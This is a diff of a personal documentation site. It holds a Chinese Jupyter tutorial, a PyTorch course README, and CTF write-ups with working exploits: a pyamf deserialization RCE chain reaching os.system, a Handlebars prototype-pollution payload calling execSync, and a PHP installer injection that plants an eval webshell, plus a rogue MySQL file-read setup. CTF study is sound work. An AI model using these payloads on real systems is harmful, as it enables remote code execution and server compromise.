  2. +
  3. +

    去掉注释,并填充路径c.NotebookApp.notebook_dir = 'D:\\Adatascience'

    +
  4. +
+image-20220804170455298 +
    +
  1. 此时我们在终端中输入jupyter notebook,打开页面后发现文件默认路径已经被更改。但是点击菜单栏中的应用快捷方式打开Jupyter Notebook,打开页面发现文件位置仍然是默认路径
  2. +
+image-20220716235931573 +
    +
  1. 如果我们想要更改应用快捷方式Jupyter Notebook的文件位置,此时需要右键选中快捷方式,打开文件所在位置。再右键点击快捷方式,查看属性,再点击快捷方式
  2. +
+image-20220717000530228 +image-20220804171027983 +
    +
  1. 我们只需要在“目标”中删除红框标记部分,点击确定
  2. +
+image-20220717001243904 +
    +
  1. 此时再打开菜单栏中Jupyter Notebook的快捷方式,发现页面文件路径已经变为之前自主设置的路径啦!
  2. +
+
    +
  • Jupyter Lab的修改操作和Jupyter Notebook流程相似,但是在细节上有些不同
  • +
+
    +
  1. +

    同样我们还是首先需要查看配置文件,在终端输入

    +
    jupyter lab --generate-config
    +
  2. +
  3. +

    找到配置文件所在的文件夹,打开配置文件

    +
  4. +
  5. +

    修改配置文件时,用Ctrl+F快捷键查找,输入关键词,找到# c.ServerApp.notebook_dir,去掉注释。改为c.ServerApp.notebook_dir = 'D:\\Adatascience(这里填自己想改的文件路径)'

    +
  6. +
  7. +

    之后的步骤和Jupyter Notebook修改配置文件的第七至第十步相同

    +
  8. +
+

2.2 使用虚拟环境​

+

​ 需要注意的是,Anaconda安装的虚拟环境和Jupyter Notebook运行需要的Kernel并不互通。那么我们该如何解决这个问题,并且如果我们想要切换内核(Change Kernel),该如何操作呢?

+
    +
  1. 将在Anaconda中创建的虚拟环境添加ipykernel
  2. +
+
# 如果还没创建环境,在创建时要加上ipykernel
conda create -n env_name python=3.8 ipykernel
# 如果已经创建环境,在环境中安装ipykernel
pip install ipykernel
+
    +
  1. 将虚拟环境写进Jupyter
  2. +
+
python -m ipykernel install --user --name env_name --display-name "env_name"
+
    +
  1. 在Kernel中更换添加的虚拟环境即可
  2. +
+image-20220812171025719 +

3 Jupyter Notebook\Lab基本操作​

+

3.1 基本使用​

+

3.1.1 Jupyter Notebook​

+
    +
  1. 创建文件:点击右上角New,选择Notebook;创建文件夹:点击右上角New,选择Folder
  2. +
+image-20220805024106987 +
    +
  1. 删除文件:点击文件前的方框,再点击删除图标
  2. +
+image-20220805030406608 +
    +
  1. 重命名文件:当文件在运行时(即文件前图标为绿色),需要先点击“Shutdown”(关闭终端),再点击“Rename”
  2. +
+image-20220805031209481 +
    +
  1. 重命名文件夹:点击文件夹前的方框,再点击“Rename”
  2. +
  3. 复制(Duplicate)、移动(Move)、下载(Download)、查看(View)等操作,同样可以点击文件前的方框,再点上方的图标进行操作
  4. +
+

3.1.2 Jupyter Lab​

+
    +
  1. 红框内按钮从左到右分别是新建文件、新建文件夹、上传文件和刷新
  2. +
+

image-20220805033034092

+
    +
  1. 上传多个文件的方法:
  2. +
+
    +
  • 将文件打包成一个zip压缩包
  • +
  • 上传该压缩包
  • +
  • 解压文件!unzip (压缩包所在路径) -d (解压路径),例如:!unzip coco.zip -d data/coco
  • +
  • 删除该压缩包
  • +
+

3.2 常用快捷键​

+
    +
  1. +

    入门操作

    +
    # 增加,减少,剪切,保存,删除等
    # a, b, x, s, dd

    # 合并,执行本单元代码,并跳转到下一单元,执行本单元代码,留在本单元
    # Shift+M Shift+Enter Ctrl+Enter

    # 显示行数,切换markdown/code
    # l, m/y
    +
  2. +
  3. +

    Jupyter Notebook中按下Enter进入编辑模式,按下Esc进入命令模式

    +
  4. +
+
    +
  • +

    编辑模式(绿色)

    +

    image-20220805144702521

    +
  • +
  • +

    命令模式(蓝色)

    +

    image-20220805144722375

    +
  • +
  • +

    在命令模式下,点击h,会弹出快捷键窗口

    +
  • +
+image-20220805144803441 +
    +
  1. Jupyter Lab同样有两种模式。按下Enter进入编辑模式,按下Esc进入命令模式
  2. +
+
    +
  • 编辑模式(有框线无光标)
  • +
+

image-20220805145218241

+
    +
  • 命令模式(无框线无光标)
  • +
+

image-20220805150721875

+
    +
  • 快捷键操作与Jupyter Notebook基本相同,可参考上一部分
  • +
+
    +
  1. 快捷键汇总
  2. +
+

​ 命令模式(按Esc)

+
    +
  • Enter : 转入编辑模式
  • +
  • Shift-Enter : 运行本单元,选中下个单元
  • +
  • Ctrl-Enter : 运行本单元
  • +
  • Alt-Enter : 运行本单元,在其下插入新单元
  • +
  • Y : 单元转入代码状态
  • +
  • M :单元转入markdown状态
  • +
  • R : 单元转入raw状态
  • +
  • 1 : 设定 1 级标题
  • +
  • 2 : 设定 2 级标题
  • +
  • 3 : 设定 3 级标题
  • +
  • 4 : 设定 4 级标题
  • +
  • 5 : 设定 5 级标题
  • +
  • 6 : 设定 6 级标题
  • +
  • Up : 选中上方单元
  • +
  • K : 选中上方单元
  • +
  • Down : 选中下方单元
  • +
  • J : 选中下方单元
  • +
  • Shift-K : 扩大选中上方单元
  • +
  • Shift-J : 扩大选中下方单元
  • +
  • A : 在上方插入新单元
  • +
  • B : 在下方插入新单元
  • +
  • X : 剪切选中的单元
  • +
  • C : 复制选中的单元
  • +
  • Shift-V : 粘贴到上方单元
  • +
  • V : 粘贴到下方单元
  • +
  • Z : 恢复删除的最后一个单元
  • +
  • D,D : 删除选中的单元
  • +
  • Shift-M : 合并选中的单元
  • +
  • Ctrl-S : 文件存盘
  • +
  • S : 文件存盘
  • +
  • L : 转换行号
  • +
  • O : 转换输出
  • +
  • Shift-O : 转换输出滚动
  • +
  • Esc : 关闭页面
  • +
  • Q : 关闭页面
  • +
  • H : 显示快捷键帮助
  • +
  • I,I : 中断Notebook内核
  • +
  • 0,0 : 重启Notebook内核
  • +
  • Shift : 忽略
  • +
  • Shift-Space : 向上滚动
  • +
  • Space : 向下滚动
  • +
+

​ 编辑模式(按Enter)

+
    +
  • Tab : 代码补全或缩进
  • +
  • Shift-Tab : 提示
  • +
  • Ctrl-] : 缩进
  • +
  • Ctrl-[ : 解除缩进
  • +
  • Ctrl-A : 全选
  • +
  • Ctrl-Z : 复原
  • +
  • Ctrl-Shift-Z : 再做
  • +
  • Ctrl-Y : 再做
  • +
  • Ctrl-Home : 跳到单元开头
  • +
  • Ctrl-Up : 跳到单元开头
  • +
  • Ctrl-End : 跳到单元末尾
  • +
  • Ctrl-Down : 跳到单元末尾
  • +
  • Ctrl-Left : 跳到左边一个字首
  • +
  • Ctrl-Right : 跳到右边一个字首
  • +
  • Ctrl-Backspace : 删除前面一个字
  • +
  • Ctrl-Delete : 删除后面一个字
  • +
  • Esc : 进入命令模式
  • +
  • Ctrl-M : 进入命令模式
  • +
  • Shift-Enter : 运行本单元,选中下一单元
  • +
  • Ctrl-Enter : 运行本单元
  • +
  • Alt-Enter : 运行本单元,在下面插入一单元
  • +
  • Ctrl-Shift-- : 分割单元
  • +
  • Ctrl-Shift-Subtract : 分割单元
  • +
  • Ctrl-S : 文件存盘
  • +
  • Shift : 忽略
  • +
  • Up : 光标上移或转入上一单元
  • +
  • Down :光标下移或转入下一单元
  • +
+

3.3 安装插件​

+
    +
  • Jupyter Notebook安装插件的方法
  • +
+
    +
  1. +

    在Anaconda Powershell Prompt中输入

    +
    pip install jupyter_contrib_nbextensions
    +
  2. +
  3. +

    再次输入以下指令,将插件添加到工具栏

    +
    jupyter contrib nbextension install
    +
  4. +
  5. +

    打开Jupyter Notebook,点击Nbextensions,取消勾选disable configuration for nbextensions without explicit compatibility,此时可以添加自己喜欢的插件啦!

    +
  6. +
+image-20220805151600140 +
    +
  1. 推荐以下两个基础插件
  2. +
+
    +
  • +

    Execute Time:可以显示执行一个Cell要花费多少时间

    +
  • +
  • +

    Hinterland:提供代码补全功能

    +
  • +
  • +

    Jupyter Lab安装插件的方法

    +
  • +
+
    +
  1. Jupyter Lab安装插件点击左侧的第四个标志,点击“Enable”后就可以在搜索栏中搜索想要的插件
  2. +
+image-20220805152331777 +
    +
  1. 例如搜索jupyterlab-execute-time后,在Search Results中查看结果,点击Install便可安装插件
  2. +
+image-20220805152507891 +
    +
  1. +

    还可以在Anaconda Powershell Prompt中使用指令来安装插件

    +
    jupyter labextension install jupyterlab-execute-time  # 安装jupyterlab-execute-time
    +
  2. +
+

4 进阶操作​

+

​ 除了以上操作,Jupyter Notebook还有许多丰富的内容等待大家探索。如Bash命令、魔术命令等。我们为大家提供了一份在Notebook中编写的进阶操作,快来试试看吧~

+

​ 点击查看进阶教程

+

5 参考资料​

+

【1】Jupyter Notebook介绍、安装及使用教程 - 知乎 (zhihu.com)

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第零章/index.html b/docs/个人知识库/AI/PyTorch/第零章/index.html new file mode 100644 index 0000000..7d85528 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第零章/index.html @@ -0,0 +1,46 @@ + + + + + +第零章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/index.html b/docs/个人知识库/AI/index.html new file mode 100644 index 0000000..5fc57e8 --- /dev/null +++ b/docs/个人知识库/AI/index.html @@ -0,0 +1,385 @@ + + + + + +AI | wjlin0 + + + + + + + +

AI

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:03
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

深入浅出PyTorch

+
+

[!IMPORTANT] +在线阅读地址 | 配套视频教程 | 智海(国家级AI科教平台)

+

请注意:在线文档更新落后于主仓库更新,建议看source文件夹下的markdown文件

+
+

一、项目初衷​

+

PyTorch是利用深度学习进行数据科学研究的重要工具,在灵活性、可读性和性能上都具备相当的优势,近年来已成为学术界实现深度学习算法最常用的框架。

+

考虑到PyTorch的学习兼具理论储备和动手训练,两手都要抓两手都要硬的特点,我们开发了《深入浅出PyTorch》课程,期望以组队学习的形式,帮助大家从入门到熟练掌握PyTorch工具,进而实现自己的深度学习算法。

+

我们的愿景是:通过组队学习,大家能够掌握由浅入深地PyTorch的基本知识和内容,经过自己的动手实践加深操作的熟练度。同时通过项目实战,充分锻炼编程能力,掌握PyTorch进行深度学习的基本流程,提升解决实际问题的能力。

+

学习的先修要求是,会使用Python编程,了解包括神经网络在内的机器学习算法,勤于动手实践。

+

《深入浅出PyTorch》是一个系列,一共有三个部分。已经上线的是本系列的第一、二部分,后续会不断更新《深入浅出PyTorch》(下),给出更贴合实际应用的实战案例。

+

二、内容简介​

+
    +
  • 第零章:前置知识(选学) +
      +
    • 人工智能简史
    • +
    • 相关评价指标
    • +
    • 常用包的学习
    • +
    • Jupyter相关操作
    • +
    +
  • +
  • 第一章:PyTorch的简介和安装 +
      +
    • PyTorch简介
    • +
    • PyTorch的安装
    • +
    • PyTorch相关资源简介
    • +
    +
  • +
  • 第二章:PyTorch基础知识 +
      +
    • 张量及其运算
    • +
    • 自动求导简介
    • +
    • 并行计算、CUDA和cuDNN简介
    • +
    +
  • +
  • 第三章:PyTorch的主要组成模块 +
      +
    • 思考:完成一套深度学习流程需要哪些关键环节
    • +
    • 基本配置
    • +
    • 数据读入
    • +
    • 模型构建
    • +
    • 损失函数
    • +
    • 优化器
    • +
    • 训练和评估
    • +
    • 可视化
    • +
    +
  • +
  • 第四章:PyTorch基础实战 +
      +
    • 基础实战——Fashion-MNIST时装分类
    • +
    • 基础实战——果蔬分类实战(notebook)
    • +
    +
  • +
  • 第五章:PyTorch模型定义 +
      +
    • 模型定义方式
    • +
    • 利用模型块快速搭建复杂网络
    • +
    • 模型修改
    • +
    • 模型保存与读取
    • +
    +
  • +
  • 第六章:PyTorch进阶训练技巧 +
      +
    • 自定义损失函数
    • +
    • 动态调整学习率
    • +
    • 模型微调-torchvision
    • +
    • 模型微调-timm
    • +
    • 半精度训练
    • +
    • 数据扩充
    • +
    • 超参数的修改及保存
    • +
    • PyTorch模型定义与进阶训练技巧
    • +
    +
  • +
  • 第七章:PyTorch可视化 +
      +
    • 可视化网络结构
    • +
    • 可视化CNN卷积层
    • +
    • 使用TensorBoard可视化训练过程
    • +
    • 使用wandb可视化训练过程
    • +
    • 使用SwanLab可视化训练过程
    • +
    +
  • +
  • 第八章:PyTorch生态简介 +
      +
    • 简介
    • +
    • 图像—torchvision
    • +
    • 视频—PyTorchVideo
    • +
    • 文本—torchtext
    • +
    • 音频-torchaudio
    • +
    +
  • +
  • 第九章:模型部署 +
      +
    • 使用ONNX进行部署并推理
    • +
    +
  • +
  • 第十章:常见网络代码的解读(推进中) +
      +
    • 计算机视觉 +
        +
      • 图像分类 +
          +
        • ResNet源码解读
        • +
        • Swin Transformer源码解读
        • +
        • Vision Transformer源码解读
        • +
        • RNN源码解读
        • +
        • LSTM源码解读及其实战
        • +
        +
      • +
      • 目标检测 +
          +
        • YOLO系列解读(与MMYOLO合作)
        • +
        +
      • +
      • 图像分割
      • +
      +
    • +
    • 自然语言处理 +
        +
      • RNN源码解读
      • +
      +
    • +
    • 音频处理
    • +
    • 视频处理
    • +
    • 其他
    • +
    • +
    +
  • +
+

三、人员安排​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
成员 个人简介个人主页
牛志康DataWhale成员,西安电子科技大学本科生[知乎][个人主页]
李嘉骐DataWhale成员,清华大学研究生[知乎]
刘洋Datawhale成员,中国科学院数学与系统科学研究所研究生[知乎]
陈安东DataWhale成员,哈尔滨工业大学研究生[个人主页]
+

教程贡献情况(已上线课程内容):

+

李嘉骐:第三章;第四章;第五章;第六章;第七章;第八章;内容整合

+

牛志康:第一章;第三章;第六章;第七章;第八章,第九章,第十章;文档部署

+

刘洋:第二章;第三章

+

陈安东:第二章;第三章;第七章

+

四、 课程编排与配套视频​

+
Details
+

部分章节直播讲解请观看B站回放(持续更新):https://www.bilibili.com/video/BV1L44y1472Z

+
    +
  • +

    课程编排: +深入浅出PyTorch分为三个阶段:PyTorch深度学习基础知识、PyTorch进阶操作、PyTorch案例分析。

    +
  • +
  • +

    使用方法:

    +

    我们的课程内容都以markdown格式或jupyter notebook的形式保存在本仓库内。除了多看加深课程内容的理解外,最重要的还是动手练习、练习、练习

    +
  • +
  • +

    组队学习安排:

    +

    第一部分:第一章到第四章,学习周期:10天;

    +

    第二部分:第五章到第八章,学习周期:11天

    +
  • +
+
+

五、关于贡献​

+
Details
+

本项目使用Forking工作流,具体参考atlassian文档大致步骤如下:

+
    +
  1. 在GitHub上Fork本仓库
  2. +
  3. Clone Fork后的个人仓库
  4. +
  5. 设置upstream仓库地址,并禁用push
  6. +
  7. 使用分支开发,课程分支名为lecture{#NO},#NO保持两位,如lecture07,对应课程目录
  8. +
  9. PR之前保持与原始仓库的同步,之后发起PR请求
  10. +
+

命令示例:

+
# fork
# clone
git clone git@github.com:USERNAME/thorough-pytorch.git
# set upstream
git remote add upstream git@github.com:datawhalechina/thorough-pytorch.git
# disable upstream push
git remote set-url --push upstream DISABLE
# verify
git remote -v
# some sample output:
# origin git@github.com:NoFish-528/thorough-pytorch.git (fetch)
# origin git@github.com:NoFish-528/thorough-pytorch.git (push)
# upstream git@github.com:datawhalechina/thorough-pytorch.git (fetch)
# upstream DISABLE (push)
# do your work
git checkout -b lecture07
# edit and commit and push your changes
git push -u origin lecture07
# keep your fork up to date
## fetch upstream main and merge with forked main branch
git fetch upstream
git checkout main
git merge upstream/main
## rebase brach and force push
git checkout lecture07
git rebase main
git push -f
+

Commit Message​

+

提交信息使用如下格式:<type>: <short summary>

+
<type>: <short summary>
│ │
│ └─⫸ Summary in present tense. Not capitalized. No period at the end.
│
└─⫸ Commit Type: [docs #NO]:others
+

others包括非课程相关的改动,如本README.md中的变动,.gitignore的调整等。

+
+

六、更新计划​

+
Details
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内容更新时间内容
apexapex的简介和使用
模型部署Flask部署PyTorch模型
TorchScriptTorchScript
并行训练并行训练
模型预训练 - torchhubtorchhub的简介和使用方法
目标检测 - SSDSSD的简介和实现
目标检测 - RCNN系列Fast-RCNN & Mask-RCNN
目标检测 - DETRDETR的实现
图像分类 - GoogLeNetGoogLeNet的介绍与实现
图像分类 - MobileNet系列MobileNet系列介绍与实现
图像分类 - GhostNetGhostNet代码讲解
生成式对抗网络 - 生成手写数字实战生成数字并可视化
生成式对抗网络 - DCGAN
风格迁移 - StyleGAN
生成网络 - VAE
图像分割 Deeplab系列Deeplab系列代码讲解
自然语言处理 LSTMLSTM情感分析实战
自然语言处理 Transformer
自然语言处理 BERT
视频待定
音频待定
自定义CUDA扩展和算子
+
+

七、鸣谢与反馈​

+
    +
  • 非常感谢DataWhale成员 叶前坤 @PureBuckwheat 和 胡锐锋 @Relph1119 对文档的细致校对!
  • +
  • 如果有任何想法可以联系我们DataWhale也欢迎大家多多提出issue。
  • +
  • 特别感谢以下为教程做出贡献的同学!并特别感谢MMYOLO的贡献者们!
  • +
+ + + +

Made with contrib.rocks.

+

八、关注我们​

+
Datawhale是一个专注AI领域的开源组织,以“for the learner,和学习者一起成长”为愿景,构建对学习者最有价值的开源学习社区。关注我们,一起学习成长。
+

LICENSE​

+

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/Knownsec/knownsec-ctf-09/index.html b/docs/个人知识库/CTF/Knownsec/knownsec-ctf-09/index.html new file mode 100644 index 0000000..28ba763 --- /dev/null +++ b/docs/个人知识库/CTF/Knownsec/knownsec-ctf-09/index.html @@ -0,0 +1,88 @@ + + + + + +KnownSec 2023年度第五次内部攻防演练 | wjlin0 + + + + + + + +

KnownSec 2023年度第五次内部攻防演练

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:39:14
+
+

题目源码 -> vyrpgtqhknoxypax.bz2

+
+

对题目下载的源码分析,发现为一个简易的文件服务器,但是需要密码才能登录

+
from pyamf.remoting.gateway.wsgi import WSGIGateway

import logging

logger = logging.getLogger()
logger.setLevel(logging.DEBUG) # 设置日志级别为 NOTSET

# 创建一个 StreamHandler 处理器并设置其级别为 DEBUG
stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.DEBUG)

# 创建一个格式化器并将其应用于处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
stream_handler.setFormatter(formatter)

# 将处理器添加到 logger
logger.addHandler(stream_handler)



ADMIN_USER = "??"
ADMIN_PASS = "??"


class FileManagerService:
def read(self, filename):
with open(filename, "rb") as f:
return f.read()

def list(self, path="/"):
import os
return os.listdir(path)


def auth(username, password):
if username == ADMIN_USER and password == ADMIN_PASS:
return True

return False


gateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)


if __name__ == "__main__":
from wsgiref import simple_server

host = "0.0.0.0"
port = 5000

httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)
httpd.set_app(gateway)

logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))

try:
httpd.serve_forever()
except KeyboardInterrupt:
pass

+

从github上的 pyamf 介绍可以看到 他是与Flash的amf兼容的一个库,与常用的python web框架Django,Pylons,Twisted,SQLAlchemy,web2py兼容。

+

image-20230928152047488

+

它可以利用amf协议定义下的格式,进行远程对象调用、执行,于是只要满足amf格式的对象就能够进行远程调用,即可;

+

通过查阅资料可以得知,AMF3需要满足以下格式

+
00 03 00 00 00 01 00 01 61 00 01 62 ......
# 00 03 amf协议的版本号 3
# 00 00 头部数据 为0
# 00 01 消息体 1
# 00 01 目标长度
# 61 目标 -> a
# 00 01 接收长度
# 62 接收方 b
# ..... 消息体
+

而消息体只需要满足是amf转换的 对象 int、bool、等类型的数据均可被传递

+

image-20230928155624774

+

在py3amf这个包中,它本身支持序列化和反序列化,于是我们只需要了解它的调用过程,就可以利用这一特点进行远程代码执行。

+

在pyamf\remoting\gateway\wsgi.py 这个方法对远程代码进行了解码操作

+

image-20230928155934795

+

跟进,就会发现它读出了我们设定的target和response

+

image-20230928160140437

+

image-20230928160222907

+

而关键就在decoder.readElement()->self._readElemnt()中

+

image-20230928160256940

+

image-20230928160357959

+

首先是读出了字节是哪种类型

+

image-20230928160545964

+

而这个函数就是读出amf格式的对象

+

image-20230928160649837

+

首先会读出类名 -> 静态属性、动态属性,这就完成了一个对象的加载。

+

image-20230928161017686

+

image-20230928161046419

+

image-20230928161110524

+

但最后为何会触发这些被实例化的对象呢,我们知道在python 存在某些魔法方法,当在一定条件下,就会触发,例如,以下函数:

+

img

+

img

+

img

+

img

+

img

+

img

+

所以后续操作时,很容易就会触发这些魔法方法,当我们就需要寻找 在那个魔法方法里能够找到一个 我们可以控制并调用的其他对象的方法的一些调用链,最终找到能够控制的函数调用 eval、exec 、os.system

+

然而这道题给了我们提示,在这个建议的文件服务器中,满足一定条件就可以调用我们生成出来的service

+

如下所示

+

image-20230928162028502

+

image-20230928162135714

+

不难看出,只要self.service、method、params可以控制,就可以实现任意类的公有方法调用,所以我们需要向上查找,那个能够对象触发pyamf.remoting.gateway.ServiceWrapper的__call__方法、满足调用时存在两个参数,并且能够实例化时不需要任何参数,就能够实例化,很遗憾我没有直接 直接找到这么一个类满足这个条件,但我找到了一个类可以通过重复调用自己使其满足两个,并且它的__new__ 方法不需要任何参数

+

image-20230928165235163

+

我发现这个最外层的对象在 Request()中进行,空对象比较是,会触发__len__方法

+

image-20230928165553526

+

image-20230928165646492

+

所以后面能够衔接 只要调用属性对象被当成方法调用即可

+

image-20230928165738257

+

最终在pyamf.util.pure.BytesIOProxy的__len__ 找到了

+

image-20230928165747768

+

我们此时能够对任意类的任意方法执行了,于是找一个执行了eval、exec 的方法即可,一个常用的类pdb.Pdb中的很多方法都调用了exec,但我们需要一个公开的方法 do_break

+

image-20230928171305147

+

于是完整的poc如下

+
from pyamf import amf0, amf3, util

AMF = amf3


def serialize(obj):
stream = util.BufferedByteStream()
context = AMF.Context()
encoder = AMF.Encoder(stream, context)
encoder.writeElement(obj)
return stream.getvalue()


def deserialize(data):
stream = util.BufferedByteStream(data)
context = AMF.Context()
decoder = AMF.Decoder(stream, context)
return decoder.readElement()


def serialize_attrs(attrs):
s = b""
for k, v in attrs.items():
s += serialize(k)[1:]
if isinstance(v, Obj):
s += v.serialize()
else:
s += serialize(v)

s += serialize(None)
return s


class Obj:
def __init__(self, _name, **kwargs):
self.name = _name
self.attrs = kwargs

def serialize(self):
s = b"\x0a\x0b" + serialize(self.name)[1:]
s += serialize_attrs(self.attrs)
return s

serialized = Obj(
"pyamf.util.pure.BytesIOProxy",
_len_changed=True,
_len=48763,
_get_len=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"pyamf.remoting.gateway.ServiceWrapper",
service=Obj(
"pdb.Pdb",
curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
curframe_locals={},
stdout=None
),
),
_Method__name="do_break",
),
_Method__name="""
__import__("os").system("dir")
""".strip(), # your exploit here
),
).serialize()



import requests

serialized = b"\x11" + serialized
r = requests.post(
"http://localhost:5000/",
data=b"\x00\x03"
+ b"\x00\x00"
+ b"\x00\x01"
+ b"\x00\x01c"
+ b"\x00\x01b"
+ len(serialized).to_bytes(4, "big") + serialized,
)

print(r.text)

+

Referer

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/CTF/各类CTF比赛WP/01.2025年能源CTF大赛社会组/index.html b/docs/个人知识库/CTF/各类CTF比赛WP/01.2025年能源CTF大赛社会组/index.html new file mode 100644 index 0000000..88220b7 --- /dev/null +++ b/docs/个人知识库/CTF/各类CTF比赛WP/01.2025年能源CTF大赛社会组/index.html @@ -0,0 +1,88 @@ + + + + + +2025年能源CTF大赛社会组 | wjlin0 + + + + + + + +

2025年能源CTF大赛社会组

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:39:14
+

题目已经整合到了我的 CTF平台,各位可前往复现

+

题目列表​

+ +

WriteUp​

+

EasyNodeRce​

+

思路​

+
    +
  • 利用 Handlebars AST注入配合
  • +
  • 原型链污染
  • +
+

wp​

+
import requests

payload = {
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
}],
"loc": {
"start": 0
}
}]
}
}

url = "http://192.168.3.91:3000/template"
data = {
"pathKey": "text",
"data": payload
}
print(data)
text = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})
print(text.text)

+

EasyInstall​

+

思路​

+
    +
  • 通过写入 db 配置文件 一句话木马
  • +
  • 利用恶意数据库,读取本地文件 /readflag
  • +
+

wp​

+

发送一下数据包 注意 mysql的连接地址必须是真实的

+
POST /install.php?m=Install&a=step2&c=Install& HTTP/1.1
Host: 127.0.0.1:2002
Content-Length: 160
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1
Connection: keep-alive

admin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&db[]=mysql&db[]=127.0.0.1&db[]=test&db[]=root&db[]=root'.eval($_GET[1]).'1&db[]=3306&db[]=
+

得到对应Cookie

+
HTTP/1.1 302 Found
Date: Fri, 18 Apr 2025 02:43:44 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/
Location: /install.php?s=/install/step3.html
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8



+

将得到的cookie 替换下方的 Cookie ,并请求写入webShell

+
POST /install.php?m=Install&a=step3&c=Install& HTTP/1.1
Host: 127.0.0.1:2002
Content-Length: 0
Pragma: no-cache
Cookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1
Connection: keep-alive


+

访问得到flag

+
➜  ~ curl 'http://127.0.0.1:2002/Modules/Common/Conf/35476a338e03e65c85448bb8450bd27d.php?1=system(%27cat+/readflag%27);'
ctf{123456789}
+

第二种解法 利用 恶意mysql服务器读取客户端的文件

+

这题的flag在文件 readflag 所以有点恶心一般想不到

+

首先在拥有公网IP的VPS上构建服务器

+
➜  /tmp wget https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip && unzip rogue_mysql_server-v1.0.1-linux-amd64.zip
--2025-04-18 10:51:46-- https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream [following]
